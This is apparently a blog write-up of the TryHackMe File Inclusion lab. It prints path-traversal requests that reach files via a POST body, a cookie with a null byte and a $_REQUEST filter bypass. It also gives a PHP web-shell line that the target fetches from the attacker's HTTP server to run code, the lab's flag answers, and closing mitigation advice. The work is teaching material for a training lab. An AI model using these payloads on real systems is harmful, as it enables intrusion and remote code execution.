July 14, 2026
File Inclusion Challenge (TryHackMe)
How I Cracked the TryHackMe File Inclusion Challenges: A Deep Dive into LFI, Cookies, and $_REQUEST Bypasses
By Никита Ивашенюта
3 min read
How I Cracked the TryHackMe File Inclusion Challenges: A Deep Dive into LFI, Cookies, and $_REQUEST Bypasses
File Inclusion vulnerabilities remain one of the most common flaws in web applications, often turning a simple parameter mishandling into a full system compromise. Recently, I tackled the File Inclusion Challenge lab on TryHackMe.
In this write-up, I will walk you through the methodology, filter-analysis, and bypass techniques I used to capture all three hidden flags and achieve Remote Code Execution (RCE) on the target system.
Environment Setup
- Target Machine IP:
10.128.154.240 - Attacker Machine IP (VPN):
10.128.100.213
Challenge 1: Uncovering Hidden POST Parameters
Upon landing on the first challenge page, the URL was completely static — no visible GET parameters like ?page= or ?file=. However, the page hosted a functional submission form.
1. Reconnaissance
Using Burp Suite, I intercepted the form submission. The HTTP history revealed that the web application was passing data through an HTTP POST request. The parameter handling the file inclusion was named file.
2. Exploitation
Since there was no input validation or sanitization implemented on this endpoint, it was vulnerable to a classic Path Traversal attack. I crafted a payload to escape the default web directory (/var/www/html/challenges/) and read the system flag file located at /etc/flag1.
The Request:
HTTP
POST /challenges/chall1.php HTTP/1.1
Host: 10.128.154.240
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
file=../../../../etc/flag1POST /challenges/chall1.php HTTP/1.1
Host: 10.128.154.240
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
file=../../../../etc/flag1Flag #1 Captured:
P0st_1s_w0rk1in9
Challenge 2: Exploiting Cookie Headers & Poisoning Null Bytes
The second challenge shifted the entry point entirely away from user-facing forms. No matter what I entered into the page, the output remained stagnant.
1. Analyzing the Filter
I intercepted the traffic again and noticed a unique state session header: Cookie: THM=admin. When I altered admin to a random string, the backend threw a verbose PHP warning:
Plaintext
Warning: include(includes/../../../../etc/flag2.php): failed to open stream: No such file...Warning: include(includes/../../../../etc/flag2.php): failed to open stream: No such file...This error snippet exposed the underlying code's structural logic:
- Prefix: The application prepended the string
includes/to my input. - Suffix: The application appended the extension
.phpto my input.
2. The Bypass
The error logs also leaked the backend environment: PHP 5.2. This legacy version is highly vulnerable to Null Byte Injection (%00). By injecting a null byte character, I forced the low-level string functions in C/PHP to terminate early, effectively dropping the trailing .php suffix.
The Request:
HTTP
GET /challenges/chall2.php HTTP/1.1
Host: 10.128.154.240
Cookie: THM=../../../../etc/flag2%00GET /challenges/chall2.php HTTP/1.1
Host: 10.128.154.240
Cookie: THM=../../../../etc/flag2%00Flag #2 Captured:
c00k13_i5_yuMmy1
Challenge 3: Breaking Array Sanitization with $_REQUEST
Challenge 3 came with a twist. The page source harbored a deliberate hint: _"Not everything is filtered! The website uses $REQUEST to accept HTTP requests."
1. Triggering the Filter
When I supplied a normal directory traversal payload via the GET parameter file, the backend completely stripped out all dots (.) and slashes (/), rendering the output as include(etcflag.php).
2. Leveraging Method Misconfigurations
The developer had deployed a security sanitization filter tied strictly to the $_GET['file'] array. However, because the application relied on the multi-source $_REQUEST['file'] superglobal to process requests, it could handle input from POST bodies just as easily.
By switching the HTTP request method from GET to POST, my payload skipped past the GET-based validation layer entirely. The $_REQUEST array collected the unfiltered POST body data, and when combined with a null byte (%00) to strip the extension, the exploit succeeded.
The Request:
HTTP
POST /challenges/chall3.php HTTP/1.1
Host: 10.128.154.240
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
file=../../../../etc/flag3%00POST /challenges/chall3.php HTTP/1.1
Host: 10.128.154.240
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
file=../../../../etc/flag3%00Flag #3 Captured:
F1x3d-iNpu7-f0rrn
Playground: Escalating to Remote Code Execution (RFI)
The final section of the lab provided a "Playground" zone specifically configured to test Remote File Inclusion (RFI) capabilities. This implies that the server's php.ini configuration had allow_url_include switched on.
1. Setting up the Listener
On my local attacker machine (10.128.100.213), I created a minimal raw text web shell payload designed to output the target container's hostname:
Bash
echo '<?php system("hostname"); ?>' > exploit.txtecho '<?php system("hostname"); ?>' > exploit.txtI then spawned a lightweight Python HTTP server in that directory to host the exploit payload:
Bash
python3 -m http.server 8000python3 -m http.server 80002. Executing the Remote Exploit
I pointed the playground's vulnerable file parameter directly back to my Python web server instance:
Plaintext
http://10.128.154.240/playground.php?file=http://10.128.100.213:8000/exploit.txthttp://10.128.154.240/playground.php?file=http://10.128.100.213:8000/exploit.txtThe target server reached out to my machine, pulled down the raw text payload, and executed the embedded PHP code.
System Hostname Output:
lfi-vm-thm-f8c5b1a78692
Key Takeaways & Mitigation
Fixing file inclusion flaws requires more than surface-level sanitization.
- Avoid Loose Array Processing: Relying on global containers like
$_REQUESTcan introduce blind spots if input validation rules are built exclusively around specific parameters like$_GET. - Say No to Blacklisting: Using
str_replace()to scrub ../ patterns often fails against iterative structures (like nested loops ....//) or structural alternative routes (like POST method body shifting). - The Secure Fix: Implement a strict whitelist of permitted files or language options. If possible, ensure user inputs map to static index keys rather than direct file system paths.
Thanks for reading! If you found this write-up helpful, feel free to drop a clap or comment below.